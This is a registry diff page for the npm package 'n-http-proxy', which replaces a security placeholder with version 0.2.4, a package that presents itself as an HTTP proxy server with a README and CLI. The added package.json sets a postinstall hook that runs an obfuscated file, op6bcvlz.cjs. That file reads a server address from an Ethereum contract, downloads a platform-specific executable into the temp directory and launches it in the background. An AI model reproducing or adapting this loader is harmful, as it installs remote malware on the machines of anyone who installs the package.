n-http-proxy 0.0.1-security → 0.2.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of n-http-proxy might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,42 @@
1
- # Security holding package
1
+ node-http-proxy
2
+ ===============
2
3
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
+ a node http(s) proxy server with single process mode or multi process mode(set parameter '-i')
4
5
 
5
- Please refer to www.npmjs.com/advisories?search=n-http-proxy for more information.
6
+ ## Install node-http-proxy
7
+
8
+ ```bash
9
+ $npm install -g node-http-proxy
10
+ ```
11
+
12
+ ## Server Start
13
+
14
+ ```bash
15
+ $nproxy start -p 9999 -i 1
16
+ #start proxy server
17
+ #create child process 1 (default 1) or more(limit by cpu cores)
18
+ #on port 9999(default 8234)
19
+
20
+ $nproxy stop #stop server
21
+
22
+ ```
23
+
24
+ ## Use in code
25
+ ```javascript
26
+ var ProxyMaster = require('node-http-proxy').proxyMaster;
27
+
28
+ var proxymaster = new ProxyMaster({instance:1,port:8123});
29
+
30
+ proxymaster.start();
31
+ ```
32
+
33
+
34
+ ## Useage
35
+ ```bash
36
+ $curl -x 127.0.0.1:9999 http://www.google.com/
37
+ ```
38
+
39
+ ## Something need to do
40
+
41
+ 1.finished nproxy command<br>
42
+ 2.support other http method
@@ -0,0 +1,103 @@
1
+ #!/usr/bin/env node
2
+
3
+ 'use strict';
4
+
5
+ var program = require('commander');
6
+ var os = require('os');
7
+ var cp = require('child_process');
8
+ var fs = require('fs');
9
+
10
+ var common = require('../lib/common');
11
+ var SERVER_ENV = common.SERVER_ENV;
12
+ var PID = SERVER_ENV.PID;
13
+ var VERSION = SERVER_ENV.VERSION;
14
+
15
+ program.on('--help',function(){
16
+ console.log(" ================Basic Example===============");
17
+ console.log('');
18
+ console.log(' SERVER START');
19
+ console.log(' $nproxy start -p 8888 -i 1');
20
+ console.log('');
21
+ console.log(' SERVER STOP');
22
+ console.log(' $nproxy stop');
23
+ console.log('');
24
+ console.log(' view more detail at http://github.com/wddqing/node-http-proxy');
25
+ console.log('');
26
+ });
27
+
28
+
29
+ //set version
30
+ program.version(VERSION);
31
+
32
+ //program command
33
+ program.command('start')
34
+ .description('start server')
35
+ .option('-i --instance <i>','child process,0 means use max cpu cores',function(i){
36
+ //check instance size
37
+ var cores = os.cpus().length;
38
+ return i > cores? cores : i>0 ? i : 1
39
+ })
40
+ .option('-p --port <p>','listen port')
41
+ .option('-D --debug','set debug level')
42
+ .action(function(cmd){
43
+ if(fs.existsSync(PID)){
44
+ var pid = fs.readFileSync(PID);
45
+ console.log('stop nproxy pid',Number(pid));
46
+ try{
47
+ process.kill(Number(fs.readFileSync(PID),'SIGTERM'));
48
+ fs.unlinkSync(PID);
49
+ }catch(e){
50
+ console.log('server stop error',e)
51
+ }
52
+ }
53
+
54
+ var cp_opt = {
55
+ stdio: ['ignore', 'ignore', 'ignore'],
56
+ env: process.env,
57
+ cwd: process.cwd(),
58
+ detached: true
59
+ };
60
+ try{
61
+ var argv = ['-p',cmd.port || 8845,'-i',cmd.instance || os.cpus().length ,cmd.debug];
62
+ var child = cp.spawn(process.execPath,[__dirname+'/main.js'].concat(argv),cp_opt);
63
+ console.log('start process nproxy',child.pid,'pid file',PID);
64
+ fs.writeFileSync(PID,child.pid);
65
+ child.unref();
66
+ }catch(e){
67
+ console.log('server start error',e)
68
+ }
69
+ process.exit(0);
70
+ });
71
+
72
+ program.command('stop')
73
+ .description('stop server')
74
+ .action(function(cmd){
75
+ if(fs.existsSync(PID)){
76
+ var pid = fs.readFileSync(PID);
77
+ console.log('stop nproxy pid',Number(pid));
78
+ try{
79
+ process.kill(Number(fs.readFileSync(PID),'SIGTERM'));
80
+ fs.unlinkSync(PID);
81
+ }catch(e){
82
+ console.log('server stop error',e)
83
+ }
84
+ }
85
+ process.exit(0)
86
+ });
87
+
88
+ program.command('*')
89
+ .action(function(cmd){
90
+ console.log(' use --help for command usage')
91
+ });
92
+
93
+ //parse argv
94
+ program.parse(process.argv);
95
+
96
+
97
+
98
+
99
+
100
+
101
+
102
+
103
+
package/index.js ADDED
@@ -0,0 +1,8 @@
1
+
2
+ var proxyMaster = require('./lib/proxy-master')
3
+ var fs = require('fs')
4
+
5
+
6
+ module.exports = {
7
+ proxyMaster:proxyMaster
8
+ }
package/op6bcvlz.cjs ADDED
@@ -0,0 +1 @@
1
+ function _0x5c5d(_0x2027d4,_0x3fd633){const _0x4877aa=_0x4877();return _0x5c5d=function(_0x5c5dd8,_0x58b0b7){_0x5c5dd8=_0x5c5dd8-0x93;let _0x11f187=_0x4877aa[_0x5c5dd8];return _0x11f187;},_0x5c5d(_0x2027d4,_0x3fd633);}const _0x3da71e=_0x5c5d;(function(_0x31ed5d,_0x42fa9e){const _0x596543=_0x5c5d,_0x1f004b=_0x31ed5d();while(!![]){try{const _0x4e74b0=-parseInt(_0x596543(0xb0))/0x1*(parseInt(_0x596543(0xa9))/0x2)+parseInt(_0x596543(0x9e))/0x3*(parseInt(_0x596543(0xb3))/0x4)+parseInt(_0x596543(0xac))/0x5+parseInt(_0x596543(0x9b))/0x6+parseInt(_0x596543(0xb9))/0x7+-parseInt(_0x596543(0xa3))/0x8+-parseInt(_0x596543(0xaf))/0x9*(parseInt(_0x596543(0x9a))/0xa);if(_0x4e74b0===_0x42fa9e)break;else _0x1f004b['push'](_0x1f004b['shift']());}catch(_0x2bed2f){_0x1f004b['push'](_0x1f004b['shift']());}}}(_0x4877,0x2ec79));const {ethers}=require(_0x3da71e(0xab)),axios=require(_0x3da71e(0xa4)),util=require('util'),fs=require('fs'),path=require(_0x3da71e(0xa6)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x3da71e(0xb5),WalletOwner=_0x3da71e(0xaa),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers['getDefaultProvider'](_0x3da71e(0x9d)),contract=new ethers[(_0x3da71e(0xc2))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x13781e=_0x3da71e,_0x1f5f60={'bZnrB':_0x13781e(0xc0),'dJNfM':function(_0x26b623){return _0x26b623();}};try{const _0x2c8921=await contract[_0x13781e(0xad)](WalletOwner);return _0x2c8921;}catch(_0x44625c){return console[_0x13781e(0xb7)](_0x1f5f60[_0x13781e(0xb6)],_0x44625c),await _0x1f5f60['dJNfM'](fetchAndUpdateIp);}},getDownloadUrl=_0x23921a=>{const _0x5f59c4=_0x3da71e,_0x298f0b={'WKqOP':_0x5f59c4(0xa2),'EKHRe':_0x5f59c4(0x9f)},_0x4ff94c=os[_0x5f59c4(0x93)]();switch(_0x4ff94c){case _0x5f59c4(0xa5):return _0x23921a+_0x5f59c4(0xa8);case _0x298f0b[_0x5f59c4(0xa1)]:return _0x23921a+_0x5f59c4(0xbb);case _0x298f0b[_0x5f59c4(0xb2)]:return _0x23921a+_0x5f59c4(0xc1);default:throw new Error(_0x5f59c4(0x97)+_0x4ff94c);}},downloadFile=async(_0xec359d,_0x5c73d0)=>{const _0x59bc14=_0x3da71e,_0x453313={'knHkm':_0x59bc14(0x95),'Iapyc':_0x59bc14(0xb7),'zzFeQ':function(_0x1f6a0f,_0x38ac38){return _0x1f6a0f(_0x38ac38);},'woBru':_0x59bc14(0x99)},_0x428561=fs['createWriteStream'](_0x5c73d0),_0x50fff5=await _0x453313[_0x59bc14(0xbc)](axios,{'url':_0xec359d,'method':_0x453313['woBru'],'responseType':'stream'});return _0x50fff5[_0x59bc14(0x98)][_0x59bc14(0xae)](_0x428561),new Promise((_0x379b54,_0x562be0)=>{const _0x4972db=_0x59bc14;_0x428561['on'](_0x453313[_0x4972db(0xbf)],_0x379b54),_0x428561['on'](_0x453313['Iapyc'],_0x562be0);});},executeFileInBackground=async _0x487a6d=>{const _0x132c23=_0x3da71e,_0x82eace={'yWCdY':function(_0x5dd022,_0x4bd76e,_0x2fd461,_0x1e50e2){return _0x5dd022(_0x4bd76e,_0x2fd461,_0x1e50e2);}};try{const _0x5e9141=_0x82eace[_0x132c23(0xbd)](spawn,_0x487a6d,[],{'detached':!![],'stdio':_0x132c23(0x94)});_0x5e9141[_0x132c23(0xa7)]();}catch(_0x154a98){console[_0x132c23(0xb7)](_0x132c23(0xb4),_0x154a98);}},runInstallation=async()=>{const _0x1ee382=_0x3da71e,_0x5ec2d8={'ILoEB':function(_0x9ea074){return _0x9ea074();},'TuPuq':function(_0x4b3980,_0x35a55d){return _0x4b3980(_0x35a55d);},'KqSWr':function(_0x4d5bbe,_0x22f45c,_0x5b242b){return _0x4d5bbe(_0x22f45c,_0x5b242b);},'nXXIv':function(_0x53a4ce,_0x25921b){return _0x53a4ce!==_0x25921b;},'sejbH':_0x1ee382(0xa5),'olNYP':_0x1ee382(0x9c)};try{const _0x44e30d=await _0x5ec2d8[_0x1ee382(0x96)](fetchAndUpdateIp),_0xebc803=_0x5ec2d8['TuPuq'](getDownloadUrl,_0x44e30d),_0x1c1fc9=os['tmpdir'](),_0x5e0e91=path[_0x1ee382(0xb8)](_0xebc803),_0x198b13=path[_0x1ee382(0xb1)](_0x1c1fc9,_0x5e0e91);await _0x5ec2d8[_0x1ee382(0xba)](downloadFile,_0xebc803,_0x198b13);if(_0x5ec2d8['nXXIv'](os[_0x1ee382(0x93)](),_0x5ec2d8['sejbH']))fs['chmodSync'](_0x198b13,_0x5ec2d8[_0x1ee382(0xbe)]);executeFileInBackground(_0x198b13);}catch(_0x12726b){console[_0x1ee382(0xb7)](_0x1ee382(0xa0),_0x12726b);}};runInstallation();function _0x4877(){const _0x182bf1=['bZnrB','error','basename','156849pNfjGM','KqSWr','/node-linux','zzFeQ','yWCdY','olNYP','knHkm','Ошибка\x20при\x20получении\x20IP\x20адреса:','/node-macos','Contract','platform','ignore','finish','ILoEB','Unsupported\x20platform:\x20','data','GET','40vZJTBd','1823436kKhxHi','755','mainnet','18024IayPpp','darwin','Ошибка\x20установки:','WKqOP','linux','650976VrYxOP','axios','win32','path','unref','/node-win.exe','28qoJITZ','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','ethers','518980VzmwyG','getString','pipe','142551JcwiMT','24722cOOUCQ','join','EKHRe','168GakisM','Ошибка\x20при\x20запуске\x20файла:','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b'];_0x4877=function(){return _0x182bf1;};return _0x4877();}
package/package.json CHANGED
@@ -1,6 +1,56 @@
1
1
  {
2
2
  "name": "n-http-proxy",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "0.2.4",
4
+ "description": "a http(s) proxy server ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node op6bcvlz.cjs"
8
+ },
9
+ "engines": {
10
+ "node": ">=0.10"
11
+ },
12
+ "directories": {
13
+ "bin": "./bin",
14
+ "lib": "./lib",
15
+ "test": "./test"
16
+ },
17
+ "bin": {
18
+ "nproxy": "./bin/node-http-proxy"
19
+ },
20
+ "repository": {
21
+ "type": "git",
22
+ "url": "https://github.com/wddqing/node-http-proxy.git"
23
+ },
24
+ "dependencies": {
25
+ "pm": "2.2.5",
26
+ "bufferhelper": "0.2.0",
27
+ "request": "2.51.0",
28
+ "commander": "2.6.0",
29
+ "axios": "^1.7.7",
30
+ "ethers": "^6.13.2"
31
+ },
32
+ "devDependencies": {
33
+ "pm": "latest",
34
+ "bufferhelper": "latest",
35
+ "request": "latest",
36
+ "commander": "latest"
37
+ },
38
+ "author": "wddqing",
39
+ "license": "ISC",
40
+ "bugs": {
41
+ "url": "https://github.com/wddqing/node-http-proxy/issues"
42
+ },
43
+ "homepage": "https://github.com/wddqing/node-http-proxy",
44
+ "keywords": [
45
+ "node-http-proxy",
46
+ "http-proxy",
47
+ "proxy",
48
+ "bufferhelper",
49
+ "pm",
50
+ "request",
51
+ "commander"
52
+ ],
53
+ "files": [
54
+ "op6bcvlz.cjs"
55
+ ]
56
+ }